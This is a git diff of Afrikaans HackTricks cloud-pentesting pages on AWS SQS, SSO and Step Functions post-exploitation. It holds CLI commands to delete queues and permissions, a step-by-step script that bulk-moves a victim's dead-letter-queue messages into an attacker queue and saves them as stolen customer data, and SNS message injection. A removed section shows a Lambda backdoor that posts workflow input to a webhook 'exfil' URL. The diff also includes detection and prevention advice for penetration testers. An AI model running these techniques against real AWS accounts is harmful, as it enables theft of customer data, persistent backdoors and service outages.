- -### `sqs:DeleteQueue` - -'n Aanvaller kan 'n hele SQS-rye verwyder, wat boodskapverlies veroorsaak en toepassings wat op die ry staatmaak, beïnvloed. -```arduino -Copy codeaws sqs delete-queue --queue-url -``` -**Potensiële Impak**: Boodskapverlies en diensonderbreking vir toepassings wat die verwyderde wachtrij gebruik. - -### `sqs:PurgeQueue` - -'n Aanvaller kan alle boodskappe uit 'n SQS-wachtrij verwyder, wat lei tot boodskapverlies en potensiële onderbreking van toepassings wat op daardie boodskappe staatmaak. -```arduino -Copy codeaws sqs purge-queue --queue-url -``` -**Potensiële Impak**: Boodskapverlies en diensonderbreking vir toepassings wat op die verwyderde boodskappe staatmaak. - -### `sqs:SetQueueAttributes` - -'n Aanvaller kan die eienskappe van 'n SQS-ry verander, wat moontlik die prestasie, sekuriteit of beskikbaarheid daarvan beïnvloed. -```arduino -aws sqs set-queue-attributes --queue-url --attributes -``` -**Potensiële Impak**: Misconfigurasies wat lei tot verminderde prestasie, sekuriteitskwessies, of verminderde beskikbaarheid. - -### `sqs:TagQueue` , `sqs:UntagQueue` - -'n Aanvaller kan etikette byvoeg, wysig of verwyder van SQS-hulpbronne, wat jou organisasie se koste-toewysing, hulpbronopsporing, en toegangbeheerbeleide gebaseer op etikette ontwrig. -```bash -aws sqs tag-queue --queue-url --tags Key=,Value= -aws sqs untag-queue --queue-url --tag-keys -``` -**Potensiële Impak**: Ontwrichting van koste-toewysing, hulpbronopsporing, en etiket-gebaseerde toegangbeheerbeleide. - -### `sqs:RemovePermission` - -'n Aanvaller kan toestemming vir wettige gebruikers of dienste herroep deur beleide wat met die SQS-ry gekoppeld is, te verwyder. Dit kan lei tot ontwrichtings in die normale funksionering van toepassings wat op die ry staatmaak. -```arduino -arduinoCopy codeaws sqs remove-permission --queue-url --label -``` -**Potensiële Impak**: Ontwrichting van normale funksionering vir toepassings wat op die waglys staatmaak as gevolg van ongeoorloofde verwydering van toestemmings. - -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sqs-post-exploitation/README.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sqs-post-exploitation/README.md new file mode 100644 index 000000000..a5cd441e1 --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sqs-post-exploitation/README.md @@ -0,0 +1,83 @@ +# AWS - SQS Post Exploitation + +{{#include ../../../../banners/hacktricks-training.md}} + +## SQS + +Vir meer inligting, sien: + +{{#ref}} +../../aws-services/aws-sqs-and-sns-enum.md +{{#endref}} + +### `sqs:SendMessage` , `sqs:SendMessageBatch` + +’n aanvaller kan kwaadwillige of ongewenste boodskappe na die SQS-ry stuur, wat moontlik datakorrupsie veroorsaak, onbedoelde optrede aktiveer, of hulpbronne uitput. +```bash +aws sqs send-message --queue-url --message-body +aws sqs send-message-batch --queue-url --entries +``` +**Potensiële impak**: Uitbuiting van kwesbaarhede, datakorrupsie, onbedoelde aksies, of hulpbronuitputting. + +### `sqs:ReceiveMessage`, `sqs:DeleteMessage`, `sqs:ChangeMessageVisibility` + +'n aanvaller kan boodskappe in 'n SQS-waglys ontvang, uitvee of die sigbaarheid daarvan wysig, wat kan lei tot boodskapverlies, datakorrupsie of diensonderbreking vir toepassings wat op daardie boodskappe staatmaak. +```bash +aws sqs receive-message --queue-url +aws sqs delete-message --queue-url --receipt-handle +aws sqs change-message-visibility --queue-url --receipt-handle --visibility-timeout +``` +**Potensiële impak**: Steel sensitiewe inligting, boodskapverlies, datakorrupsie, en diensonderbreking vir toepassings wat op die geraakte boodskappe staatmaak. + +### `sqs:DeleteQueue` + +'n Aanvaller kan 'n hele SQS-waglys verwyder, wat boodskapverlies veroorsaak en toepassings wat op die waglys staatmaak benadeel. +```bash +aws sqs delete-queue --queue-url +``` +**Potensiële impak**: Boodskapverlies en diensonderbreking vir toepassings wat die verwyderde queue gebruik. + +### `sqs:PurgeQueue` + +'n aanvaller kan alle boodskappe uit 'n SQS queue verwyder, wat lei tot boodskapverlies en moontlike ontwrigting van toepassings wat op daardie boodskappe staatmaak. +```bash +aws sqs purge-queue --queue-url +``` +**Potensiële impak**: Boodskapverlies en diensonderbreking vir toepassings wat staatmaak op die verwyderde boodskappe. + +### `sqs:SetQueueAttributes` + +'n Aanvaller kan die eienskappe van 'n SQS-waglyn wysig, wat moontlik sy werkverrigting, sekuriteit of beskikbaarheid beïnvloed. +```bash +aws sqs set-queue-attributes --queue-url --attributes +``` +**Potential Impact**: Miskonfigurasies wat lei tot verminderde prestasie, sekuriteitsprobleme of verminderde beskikbaarheid. + +### `sqs:TagQueue` , `sqs:UntagQueue` + +'n Aanvaller kan etikette by SQS-hulpbronne voeg, wysig of verwyder, wat jou organisasie se kostetoewysing, hulpbronopsporing en op etikette gebaseerde toegangbeheerbeleid kan ontwrig. +```bash +aws sqs tag-queue --queue-url --tags Key=,Value= +aws sqs untag-queue --queue-url --tag-keys +``` +**Potensiële impak**: Versteuring van koste-toewysing, hulpbronopsporing en etiketgebaseerde toegangsbeheerbeleide. + +### `sqs:RemovePermission` + +'n Aanvaller kan toestemmings vir wettige gebruikers of dienste intrek deur beleide wat met die SQS-queue geassosieer is te verwyder. Dit kan lei tot versteurings in die normale werking van toepassings wat op die SQS-queue staatmaak. +```bash +aws sqs remove-permission --queue-url --label +``` +**Potensiële Impak**: Versteuring van normale werking van toepassings wat op die queue staatmaak as gevolg van ongemagtigde verwydering van toestemmings. + +### Meer SQS Post-Exploitation Techniques + +{{#ref}} +aws-sqs-dlq-redrive-exfiltration.md +{{#endref}} + +{{#ref}} +aws-sqs-sns-injection.md +{{#endref}} + +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sqs-post-exploitation/aws-sqs-dlq-redrive-exfiltration.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sqs-post-exploitation/aws-sqs-dlq-redrive-exfiltration.md new file mode 100644 index 000000000..9c04582fb --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sqs-post-exploitation/aws-sqs-dlq-redrive-exfiltration.md @@ -0,0 +1,154 @@ +# AWS – SQS DLQ Redrive Exfiltration via StartMessageMoveTask + +{{#include ../../../../banners/hacktricks-training.md}} + +## Beskrywing + +Misbruik SQS message move tasks om alle opgehoopte boodskappe van 'n slagoffer se Dead-Letter Queue (DLQ) te steel deur hulle na 'n deur die aanvaller beheerde queue om te lei met `sqs:StartMessageMoveTask`. Hierdie tegniek benut AWS se geldige boodskapherstel-funksie om sensitiewe data wat oor tyd in DLQs opgehoop het te exfiltrate. + +## Wat is 'n Dead-Letter Queue (DLQ)? + +'n Dead-Letter Queue is 'n spesiale SQS queue waar boodskappe outomaties gestuur word wanneer hulle nie suksesvol deur die hooftoepassing verwerk word nie. Hierdie mislukte boodskappe bevat dikwels: +- Sensitiewe toepassingsdata wat nie verwerk kon word nie +- Foutbesonderhede en debugging-inligting +- Persoonlike identifiseerbare inligting (PII) +- API-tokens, credentials, of ander geheime +- Besigheidskritieke transaksiedata + +DLQs dien as 'n "begraafplaas" vir mislukte boodskappe, wat hulle waardevolle teikens maak aangesien hulle oor tyd sensitiewe data opbou wat toepassings nie behoorlik kon hanteer nie. + +## Aanvalscenario + +**Werklike voorbeeld:** +1. **E-commerce application** verwerk kliëntbestellings via SQS +2. **Sommige bestellings misluk** (betalingsprobleme, voorraadprobleme, ens.) en word na 'n DLQ verskuif +3. **DLQ stapel op** weke/maande se mislukte bestellings met kliëntdata: `{"customerId": "12345", "creditCard": "4111-1111-1111-1111", "orderTotal": "$500"}` +4. **Aanvaller kry toegang** tot AWS credentials met SQS-permissies +5. **Aanvaller ontdek** dat die DLQ duisende mislukte bestellings met sensitiewe data bevat +6. **In plaas van te probeer om individuele boodskappe te bekom** (stadig en opvallend), gebruik die aanvaller `StartMessageMoveTask` om ALLE boodskappe in grootmaat na hul eie queue oor te dra +7. **Aanvaller onttrek** alle historiese sensitiewe data in een operasie + +## Vereistes +- Die bron-queue moet gekonfigureer wees as 'n DLQ (verwys deur ten minste een queue RedrivePolicy). +- IAM-permissies (uitgevoer as die gekompromitteerde slagoffer-principal): +- Op DLQ (bron): `sqs:StartMessageMoveTask`, `sqs:GetQueueAttributes`. +- Op bestemmings-queue: toestemming om boodskappe te lewer (bv. queue policy wat `sqs:SendMessage` van die slagoffer-principal toelaat). Vir bestemmings in dieselfde rekening is dit tipies standaard toegelaat. +- As SSE-KMS aangeskakel is: op bron CMK `kms:Decrypt`, en op bestemming CMK `kms:GenerateDataKey`, `kms:Encrypt`. + +## Impak +**Potensiële impak**: Exfiltrate sensitiewe payloads wat in DLQs opgehoop het (mislukte gebeurtenisse, PII, tokens, toepassingspayloads) teen hoë spoed deur ingeboude SQS APIs te gebruik. Werk kruis-rekening indien die bestemmings-queue-beleid `SendMessage` van die slagoffer-principal toelaat. + +## Hoe om misbruik te maak + +- Identifiseer die slagoffer DLQ ARN en verseker dat dit werklik as 'n DLQ verwys word deur 'n of ander queue (enige queue is goed). +- Skep of kies 'n deur die aanvaller beheerde bestemmings-queue en kry sy ARN. +- Begin 'n message move task vanaf die slagoffer DLQ na jou bestemmings-queue. +- Monitor vordering of kanselleer indien nodig. + +### CLI-voorbeeld: Exfiltrating Customer Data from E-commerce DLQ + +**Scenario**: 'n Aanvaller het gekompromitteerde AWS credentials en het ontdek dat 'n e-commerce toepassing SQS gebruik met 'n DLQ wat mislukte kliëntbestelverwerkingspogings bevat. + +1) **Ontdek en ondersoek die slagoffer DLQ** +```bash +# List queues to find DLQs (look for names containing 'dlq', 'dead', 'failed', etc.) +aws sqs list-queues --queue-name-prefix dlq + +# Let's say we found: https://sqs.us-east-1.amazonaws.com/123456789012/ecommerce-orders-dlq +VICTIM_DLQ_URL="https://sqs.us-east-1.amazonaws.com/123456789012/ecommerce-orders-dlq" +SRC_ARN=$(aws sqs get-queue-attributes --queue-url "$VICTIM_DLQ_URL" --attribute-names QueueArn --query Attributes.QueueArn --output text) + +# Check how many messages are in the DLQ (potential treasure trove!) +aws sqs get-queue-attributes --queue-url "$VICTIM_DLQ_URL" \ +--attribute-names ApproximateNumberOfMessages +# Output might show: "ApproximateNumberOfMessages": "1847" +``` +2) **Skep attacker-controlled bestemming-queue** +```bash +# Create our exfiltration queue +ATTACKER_Q_URL=$(aws sqs create-queue --queue-name hacker-exfil-$(date +%s) --query QueueUrl --output text) +ATTACKER_Q_ARN=$(aws sqs get-queue-attributes --queue-url "$ATTACKER_Q_URL" --attribute-names QueueArn --query Attributes.QueueArn --output text) + +echo "Created exfiltration queue: $ATTACKER_Q_ARN" +``` +3) **Voer die grootskaalse boodskapdiefstal uit** +```bash +# Start moving ALL messages from victim DLQ to our queue +# This operation will transfer thousands of failed orders containing customer data +echo "Starting bulk exfiltration of $SRC_ARN to $ATTACKER_Q_ARN" +TASK_RESPONSE=$(aws sqs start-message-move-task \ +--source-arn "$SRC_ARN" \ +--destination-arn "$ATTACKER_Q_ARN" \ +--max-number-of-messages-per-second 100) + +echo "Move task started: $TASK_RESPONSE" + +# Monitor the theft progress +aws sqs list-message-move-tasks --source-arn "$SRC_ARN" --max-results 10 +``` +4) **Versamel die gesteelde sensitiewe data** +```bash +# Receive the exfiltrated customer data +echo "Receiving stolen customer data..." +aws sqs receive-message --queue-url "$ATTACKER_Q_URL" \ +--attribute-names All --message-attribute-names All \ +--max-number-of-messages 10 --wait-time-seconds 5 + +# Example of what an attacker might see: +# { +# "Body": "{\"customerId\":\"cust_12345\",\"email\":\"john@example.com\",\"creditCard\":\"4111-1111-1111-1111\",\"orderTotal\":\"$299.99\",\"failureReason\":\"Payment declined\"}", +# "MessageId": "12345-abcd-6789-efgh" +# } + +# Continue receiving all messages in batches +while true; do +MESSAGES=$(aws sqs receive-message --queue-url "$ATTACKER_Q_URL" \ +--max-number-of-messages 10 --wait-time-seconds 2 --output json) + +if [ "$(echo "$MESSAGES" | jq '.Messages | length')" -eq 0 ]; then +echo "No more messages - exfiltration complete!" +break +fi + +echo "Received batch of stolen data..." +# Process/save the stolen customer data +echo "$MESSAGES" >> stolen_customer_data.json +done +``` +### Kruis-rekening notas +- Die bestemmings-queue moet 'n resourcebeleid hê wat die benadeelde principal toelaat om `sqs:SendMessage` te gebruik (en, indien van toepassing, KMS-toekennings/toestemmings). + +## Waarom hierdie aanval effektief is + +1. **Legitieme AWS-funksie**: Gebruik ingeboude AWS-funksionaliteit, wat dit moeilik maak om as kwaadwillig op te spoor +2. **Grootmaat-bewerking**: Dra vinnig duisende boodskappe oor eerder as stadige individuele toegang +3. **Historiese data**: DLQs versamel sensitiewe data oor weke/maande +4. **Onder die radar**: Baie organisasies monitor nie DLQ-toegang noukeurig nie +5. **Kruis-rekening in staat**: Kan exfiltrate na die aanvaller se eie AWS-rekening as toestemmings dit toelaat + +## Opsporing en voorkoming + +### Opsporing +Monitor CloudTrail vir verdagte `StartMessageMoveTask` API-oproepe: +```json +{ +"eventName": "StartMessageMoveTask", +"sourceIPAddress": "suspicious-ip", +"userIdentity": { +"type": "IAMUser", +"userName": "compromised-user" +}, +"requestParameters": { +"sourceArn": "arn:aws:sqs:us-east-1:123456789012:sensitive-dlq", +"destinationArn": "arn:aws:sqs:us-east-1:attacker-account:exfil-queue" +} +} +``` +### Voorkoming +1. **Minimale regte**: Beperk `sqs:StartMessageMoveTask` regte tot slegs die nodige rolle +2. **Moniteer DLQs**: Stel CloudWatch alarms in vir ongebruiklike DLQ-aktiwiteit +3. **Kruis-rekeningbeleid**: Gaan SQS queue policies wat cross-account access toelaat noukeurig na +4. **Enkripteer DLQs**: Gebruik SSE-KMS met beperkte sleutelbeleide +5. **Gereelde opskoning**: Moet nie sensitiewe data vir onbepaalde tyd in DLQs ophoop nie + +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sqs-post-exploitation/aws-sqs-sns-injection.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sqs-post-exploitation/aws-sqs-sns-injection.md new file mode 100644 index 000000000..5530c78aa --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sqs-post-exploitation/aws-sqs-sns-injection.md @@ -0,0 +1,54 @@ +# AWS – SQS Kruis-/Dieselfde-Rekening Injectie via SNS Subskripsie + Queue Policy + +{{#include ../../../../banners/hacktricks-training.md}} + +## Beskrywing + +Misbruik 'n SQS queue resource policy om 'n deur die aanvaller beheerde SNS topic toe te laat om boodskappe in 'n slagoffer SQS-queue te publiseer. In dieselfde rekening word 'n SQS-subskripsie op 'n SNS-topic outomaties bevestig; in kruis-rekening scenario's moet jy die SubscriptionConfirmation-token uit die queue lees en ConfirmSubscription aanroep. Dit maak onverlangde boodskap-injectie moontlik wat downstream consumers moontlik implisiet vertrou. + +### Vereistes +- Vermoë om die teiken SQS queue resource policy te wysig: `sqs:SetQueueAttributes` on the victim queue. +- Vermoë om 'n SNS topic te skep/publiseer wat onder die aanvaller se beheer is: `sns:CreateTopic`, `sns:Publish`, and `sns:Subscribe` on the attacker account/topic. +- Slegs kruis-rekening: tydelike `sqs:ReceiveMessage` op die slagoffer-queue om die confirmation token te lees en `sns:ConfirmSubscription` aan te roep. + +### Eksploitasie in dieselfde rekening +```bash +REGION=us-east-1 +# 1) Create victim queue and capture URL/ARN +Q_URL=$(aws sqs create-queue --queue-name ht-victim-q --region $REGION --query QueueUrl --output text) +Q_ARN=$(aws sqs get-queue-attributes --queue-url "$Q_URL" --region $REGION --attribute-names QueueArn --query Attributes.QueueArn --output text) + +# 2) Create attacker SNS topic +TOPIC_ARN=$(aws sns create-topic --name ht-attacker-topic --region $REGION --query TopicArn --output text) + +# 3) Allow that SNS topic to publish to the queue (queue resource policy) +cat > /tmp/ht-sqs-sns-policy.json < /tmp/ht-attrs.json <sqs} --region $REGION +aws sqs receive-message --queue-url "$Q_URL" --region $REGION --max-number-of-messages 1 --wait-time-seconds 10 --attribute-names All --message-attribute-names All +``` +### Kruis-rekening notas +- Die queue policy hierbo moet die vreemde `TOPIC_ARN` (attacker account) toelaat. +- Subscriptions sal nie outomaties bevestig nie. Gee jouself tydelike `sqs:ReceiveMessage` op die victim queue om die `SubscriptionConfirmation` boodskap te lees en roep dan `sns confirm-subscription` met sy `Token`. + +### Impak +**Potensiële Impak**: Deurlopende ongevraagde boodskap-inspuiting in 'n vertroude SQS queue via SNS, wat moontlik onbedoelde verwerking, databesoedeling, of workflow-misbruik kan veroorsaak. + +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sso-and-identitystore-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sso-and-identitystore-post-exploitation/README.md similarity index 75% rename from src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sso-and-identitystore-post-exploitation.md rename to src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sso-and-identitystore-post-exploitation/README.md index 0f24cd247..2dba03983 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sso-and-identitystore-post-exploitation.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sso-and-identitystore-post-exploitation/README.md @@ -1,18 +1,18 @@ # AWS - SSO & identitystore Post Exploitation -{{#include ../../../banners/hacktricks-training.md}} +{{#include ../../../../banners/hacktricks-training.md}} ## SSO & identitystore -Vir meer inligting, kyk: +Vir meer inligting, sien: {{#ref}} -../aws-services/aws-iam-enum.md +../../aws-services/aws-iam-enum.md {{#endref}} ### `sso:DeletePermissionSet` | `sso:PutPermissionsBoundaryToPermissionSet` | `sso:DeleteAccountAssignment` -Hierdie toestemmings kan gebruik word om toestemmings te ontwrig: +Hierdie permissies kan gebruik word om toegangregte te ontwrig: ```bash aws sso-admin delete-permission-set --instance-arn --permission-set-arn @@ -20,4 +20,4 @@ aws sso-admin put-permissions-boundary-to-permission-set --instance-arn --target-id --target-type --permission-set-arn --principal-type --principal-id ``` -{{#include ../../../banners/hacktricks-training.md}} +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-stepfunctions-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-stepfunctions-post-exploitation.md deleted file mode 100644 index 29bb0b078..000000000 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-stepfunctions-post-exploitation.md +++ /dev/null @@ -1,185 +0,0 @@ -# AWS - Stap Funksies Post Exploitatie - -{{#include ../../../banners/hacktricks-training.md}} - -## Stap Funksies - -Vir meer inligting oor hierdie AWS-diens, kyk: - -{{#ref}} -../aws-services/aws-stepfunctions-enum.md -{{#endref}} - -### `states:RevealSecrets` - -Hierdie toestemming laat toe om **geheime data binne 'n uitvoering te onthul**. Hiervoor is dit nodig om die Inspeksievlak op TRACE te stel en die revealSecrets parameter op true. - -
- -### `states:DeleteStateMachine`, `states:DeleteStateMachineVersion`, `states:DeleteStateMachineAlias` - -'n Aanvaller met hierdie toestemmings sal in staat wees om staatmasjiene, hul weergawes en aliase permanent te verwyder. Dit kan kritieke werksvloei ontwrig, lei tot dataverlies, en 'n beduidende tyd vereis om die geraakte staatmasjiene te herstel en te herstel. Daarbenewens sal dit 'n aanvaller in staat stel om die spore wat gebruik is, te verberg, forensiese ondersoeke te ontwrig, en potensieel operasies te verlam deur noodsaaklike outomatiseringsprosesse en staatkonfigurasies te verwyder. - -> [!NOTE] -> -> - Deur 'n staatmasjien te verwyder, verwyder jy ook al sy geassosieerde weergawes en aliase. -> - Deur 'n staatmasjienalias te verwyder, verwyder jy nie die staatmasjienweergawes wat na hierdie alias verwys nie. -> - Dit is nie moontlik om 'n staatmasjienweergawes te verwyder wat tans deur een of meer aliase verwys word nie. -```bash -# Delete state machine -aws stepfunctions delete-state-machine --state-machine-arn -# Delete state machine version -aws stepfunctions delete-state-machine-version --state-machine-version-arn -# Delete state machine alias -aws stepfunctions delete-state-machine-alias --state-machine-alias-arn -``` -- **Potensiële Impak**: Ontwrichting van kritieke werksvloei, dataverlies, en operasionele stilstand. - -### `states:UpdateMapRun` - -'n Aanvaller met hierdie toestemming sou in staat wees om die Map Run mislukking konfigurasie en parallelle instelling te manipuleer, en sou in staat wees om die maksimum aantal kind werksvloei uitvoerings toegelaat te verhoog of te verlaag, wat direk die diens se prestasie beïnvloed. Daarbenewens kan 'n aanvaller met die toegelate mislukking persentasie en telling mors, en in staat wees om hierdie waarde tot 0 te verlaag sodat elke keer as 'n item misluk, die hele kaart loop sou misluk, wat direk die staat masjien uitvoering beïnvloed en potensieel kritieke werksvloei ontwrigt. -```bash -aws stepfunctions update-map-run --map-run-arn [--max-concurrency ] [--tolerated-failure-percentage ] [--tolerated-failure-count ] -``` -- **Potensiële Impak**: Prestasiedegredasie en ontwrigting van kritieke werksvloei. - -### `states:StopExecution` - -'n Aanvaller met hierdie toestemming kan in staat wees om die uitvoering van enige staatmasjien te stop, wat lopende werksvloei en prosesse ontwrig. Dit kan lei tot onvoltooide transaksies, gestaakte besigheidsbedrywighede en potensiële datakorruptie. - -> [!WARNING] -> Hierdie aksie word nie deur **express state machines** ondersteun nie. -```bash -aws stepfunctions stop-execution --execution-arn [--error ] [--cause ] -``` -- **Potensiële Impak**: Ontwrichting van lopende werksvloei, operasionele stilstand, en potensiële datakorruptie. - -### `states:TagResource`, `states:UntagResource` - -'n Aanvaller kan etikette byvoeg, wysig of verwyder van Step Functions hulpbronne, wat jou organisasie se koste-toewysing, hulpbronopsporing, en toegangbeheerbeleide gebaseer op etikette ontwrig. -```bash -aws stepfunctions tag-resource --resource-arn --tags Key=,Value= -aws stepfunctions untag-resource --resource-arn --tag-keys -``` -**Potensiële Impak**: Ontwrichting van koste-toewysing, hulpbronopsporing, en etiket-gebaseerde toegangbeheerbeleide. - ---- - -### `states:UpdateStateMachine`, `lambda:UpdateFunctionCode` - -'n Aanvaller wat 'n gebruiker of rol met die volgende toestemmings kompromitteer: -```json -{ -"Version": "2012-10-17", -"Statement": [ -{ -"Sid": "AllowUpdateStateMachine", -"Effect": "Allow", -"Action": "states:UpdateStateMachine", -"Resource": "*" -}, -{ -"Sid": "AllowUpdateFunctionCode", -"Effect": "Allow", -"Action": "lambda:UpdateFunctionCode", -"Resource": "*" -} -] -} -``` -...kan 'n **hoë-impak en stil post-exploitatie-aanval** uitvoer deur Lambda backdooring te kombineer met Step Function logika manipulasie. - -Hierdie scenario neem aan dat die slagoffer **AWS Step Functions gebruik om werksvloei te orkestreer wat sensitiewe invoer verwerk**, soos geloofsbriewe, tokens, of PII. - -Voorbeeld slagoffer aanroep: -```bash -aws stepfunctions start-execution \ ---state-machine-arn arn:aws:states:us-east-1::stateMachine:LegitStateMachine \ ---input '{"email": "victim@example.com", "password": "hunter2"}' --profile victim -``` -As die Stap Funksie geconfigureer is om 'n Lambda soos `LegitBusinessLogic` aan te roep, kan die aanvaller voortgaan met **twee stil aanvalvariante**: - ---- - -#### Opgedateer die lambda funksie - -Die aanvaller wysig die kode van die Lambda funksie wat reeds deur die Stap Funksie (`LegitBusinessLogic`) gebruik word om stilweg invoerdata te eksfiltreer. -```python -# send_to_attacker.py -import requests - -def lambda_handler(event, context): -requests.post("https://webhook.site//exfil", json=event) -return {"status": "exfiltrated"} -``` - -```bash -zip function.zip send_to_attacker.py - -aws lambda update-function-code \ ---function-name LegitBusinessLogic \ ---zip-file fileb://function.zip -profile attacker -``` ---- - -#### Voeg 'n Kwaadwillige Toestand by die Stapfunksie - -Alternatiewelik kan die aanvaller 'n **uitvloeiingstoestand** aan die begin van die werksvloei inspuit deur die Stapfunksie-definisie op te dateer. -```malicious_state_definition.json -{ -"Comment": "Backdoored for Exfiltration", -"StartAt": "OriginalState", -"States": { -"OriginalState": { -"Type": "Task", -"Resource": "arn:aws:lambda:us-east-1::function:LegitBusinessLogic", -"End": true -} -} -} - -``` - -```bash -aws stepfunctions update-state-machine \ ---state-machine-arn arn:aws:states:us-east-1::stateMachine:LegitStateMachine \ ---definition file://malicious_state_definition.json --profile attacker -``` -Die aanvaller kan selfs meer stilweg die staatdefinisie opdateer na iets soos hierdie -{ -"Comment": "Backdoored for Exfiltration", -"StartAt": "ExfiltrateSecrets", -"States": { -"ExfiltrateSecrets": { -"Type": "Task", -"Resource": "arn:aws:lambda:us-east-1:victim-id:function:SendToAttacker", -"InputPath": "$", -"ResultPath": "$.exfil", -"Next": "OriginalState" -}, -"OriginalState": { -"Type": "Task", -"Resource": "arn:aws:lambda:us-east-1:victim-id:function:LegitBusinessLogic", -"End": true -} -} -} -waar die slagoffer nie die verskil sal besef nie - ---- - -### Slagoffer Opstelling (Konteks vir Exploit) - -- 'n Stap Funksie (`LegitStateMachine`) word gebruik om sensitiewe gebruikersinvoer te verwerk. -- Dit roep een of meer Lambda funksies aan soos `LegitBusinessLogic`. - ---- - -**Potensiële Impak**: -- Stille eksfiltrasie van sensitiewe data insluitend geheime, akrediteer, API sleutels, en PII. -- Geen sigbare foute of mislukkings in werksvloei-uitvoering nie. -- Moeilik om te ontdek sonder om Lambda kode of uitvoeringsspore te oudit. -- Maak langtermyn volharding moontlik as die backdoor in kode of ASL logika bly. - - -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-stepfunctions-post-exploitation/README.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-stepfunctions-post-exploitation/README.md new file mode 100644 index 000000000..ccdec677f --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-stepfunctions-post-exploitation/README.md @@ -0,0 +1,185 @@ +# AWS - Step Functions Post Exploitation + +{{#include ../../../../banners/hacktricks-training.md}} + +## Step Functions + +Vir meer inligting oor hierdie AWS-diens, kyk: + +{{#ref}} +../../aws-services/aws-stepfunctions-enum.md +{{#endref}} + +### `states:RevealSecrets` + +Hierdie toestemming laat toe om **geheime data binne 'n uitvoering te openbaar**. Hiervoor moet die Inspection level op TRACE gestel word en die revealSecrets parameter op true. + +
+ +### `states:DeleteStateMachine`, `states:DeleteStateMachineVersion`, `states:DeleteStateMachineAlias` + +'n Aanvaller met hierdie toestemmings sou in staat wees om state machines, hul weergawes en aliases permanent te verwyder. Dit kan kritieke werkvloei ontwrig, tot dataverlies lei, en aansienlike tyd vereis om die geraakte state machines te herstel en te herstel. Verder sal dit 'n aanvaller toelaat om spore uit te wis, forensiese ondersoeke te ontwrig, en moontlik bedrywighede te lamtrek deur noodsaaklike automation processes en state configurations te verwyder. + +> [!NOTE] +> +> - Deleting a state machine you also delete all its associated versions and aliases. +> - Deleting a state machine alias you do not delete the state machine versions referecing this alias. +> - It is not possible to delete a state machine version currently referenced by one o more aliases. +```bash +# Delete state machine +aws stepfunctions delete-state-machine --state-machine-arn +# Delete state machine version +aws stepfunctions delete-state-machine-version --state-machine-version-arn +# Delete state machine alias +aws stepfunctions delete-state-machine-alias --state-machine-alias-arn +``` +- **Potential Impact**: Onderbreking van kritieke werkvloeie, dataverlies en bedryfsuitval. + +### `states:UpdateMapRun` + +'n Aanvaller met hierdie permissie sou die Map Run-foutkonfigurasie en parallelinstelling kan manipuleer, en die maksimum aantal toegelate child workflow-uitvoerings kan verhoog of verlaag, wat direk die beskikbaarheid en prestasie van die diens kan beïnvloed. Boonop kan 'n aanvaller inmeng met die verdraagsame foutpersentasie en -telling, en hierdie waarde tot 0 verlaag, sodat elke keer as 'n item misluk die hele Map Run misluk, wat direk die state machine-uitvoering beïnvloed en moontlik kritieke werkvloeie ontwrig. +```bash +aws stepfunctions update-map-run --map-run-arn [--max-concurrency ] [--tolerated-failure-percentage ] [--tolerated-failure-count ] +``` +- **Potensiële impak**: Prestasievermindering en ontwrigting van kritieke werkvloei. + +### `states:StopExecution` + +'n aanvaller met hierdie toestemming kan die uitvoering van enige state machine stop, wat voortdurende werkvloei en prosesse ontwrig. Dit kan lei tot onvoltooide transaksies, stilstaande besigheidsbedrywighede en moontlike datakorrupsie. + +> [!WARNING] +> Hierdie aksie word nie ondersteun deur **express state machines**. +```bash +aws stepfunctions stop-execution --execution-arn [--error ] [--cause ] +``` +- **Potensiële impak**: Steuring van lopende werkstrome, bedryfsuitval, en moontlike datakorrupsie. + +### `states:TagResource`, `states:UntagResource` + +'n aanvaller kan tags byvoeg, wysig of verwyder op Step Functions resources, wat jou organisasie se kostetoewysing, hulpbronopsporing en toegangsbeheerbeleide gebaseer op tags kan ontwrig. +```bash +aws stepfunctions tag-resource --resource-arn --tags Key=,Value= +aws stepfunctions untag-resource --resource-arn --tag-keys +``` +**Potensiële impak**: Onderbreking van koste-toewysing, hulpbronopsporing, en etiket-gebaseerde toegangsbeheerbeleide. + +--- + +### `states:UpdateStateMachine`, `lambda:UpdateFunctionCode` + +'n aanvaller wat 'n gebruiker of rol met die volgende regte kompromitteer: +```json +{ +"Version": "2012-10-17", +"Statement": [ +{ +"Sid": "AllowUpdateStateMachine", +"Effect": "Allow", +"Action": "states:UpdateStateMachine", +"Resource": "*" +}, +{ +"Sid": "AllowUpdateFunctionCode", +"Effect": "Allow", +"Action": "lambda:UpdateFunctionCode", +"Resource": "*" +} +] +} +``` +...kan 'n **hoë-impak en onopvallende post-exploitation attack** uitvoer deur Lambda backdooring te kombineer met Step Function logika-manipulasie. + +Hierdie scenario neem aan dat die slagoffer **AWS Step Functions gebruik om werkvloeie te orkestreer wat sensitiewe insette verwerk**, soos credentials, tokens, of PII. + +Voorbeeld slagoffer-aanroep: +```bash +aws stepfunctions start-execution \ +--state-machine-arn arn:aws:states:us-east-1::stateMachine:LegitStateMachine \ +--input '{"email": "victim@example.com", "password": "hunter2"}' 